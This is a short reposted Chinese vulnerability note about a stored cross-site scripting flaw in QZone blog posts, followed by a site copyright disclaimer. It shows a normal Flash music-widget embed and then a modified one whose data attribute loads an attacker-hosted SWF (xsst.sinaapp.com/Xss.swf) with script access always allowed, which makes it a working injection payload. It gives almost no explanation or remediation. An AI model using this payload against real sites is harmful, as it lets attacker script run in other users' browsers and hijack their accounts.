QQ空间某功能缺陷导致日志存储型XSS,
1
|
<object allowscriptaccess= "always"
bgcolor= "#ffffff"
class = "blog_music"
classid= "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase= "http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab,0,0,0"
height= "100"
id= "musicFlash0"
menu= "true"
name= "musicFlash**"
ubb= "729312|3|http://stream9.qqmusic.qq.com/12729312.wma|Postcard from Paris|6458|The Band Perry|0"
width= "410" ><param name= "movie"
value= "http://ctc.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /><param name= "data"
value= "http://ctc.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /><param name= "bgColor"
value= "#ffffff" /><param name= "wmode"
value= "transparent" /><param name= "menu"
value= "true" /><param name= "allowScriptAccess"
value= "always" /></object> |
1
|
<object allowscriptaccess= "always"
bgcolor= "#ffffff"
class = "blog_music"
classid= "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase= "http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab,0,0,0"
data= "http://xsst.sinaapp.com/Xss.swf"
height= "100"
id= "musicFlash0"
menu= "true"
name= "musicFlash**"
ubb= "729312|3|http://stream9.qqmusic.qq.com/12729312.wma|Postcard from Paris|6458|The Band Perry|0"
width= "410" ><param name= "movie"
value= "http://ctc.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /><param name= "data"
value= "http://ctc.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /><param name= "bgColor"
value= "#ffffff" /><param name= "wmode"
value= "transparent" /><param name= "menu"
value= "true" /><param name= "allowScriptAccess"
value= "always" /></object> |
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;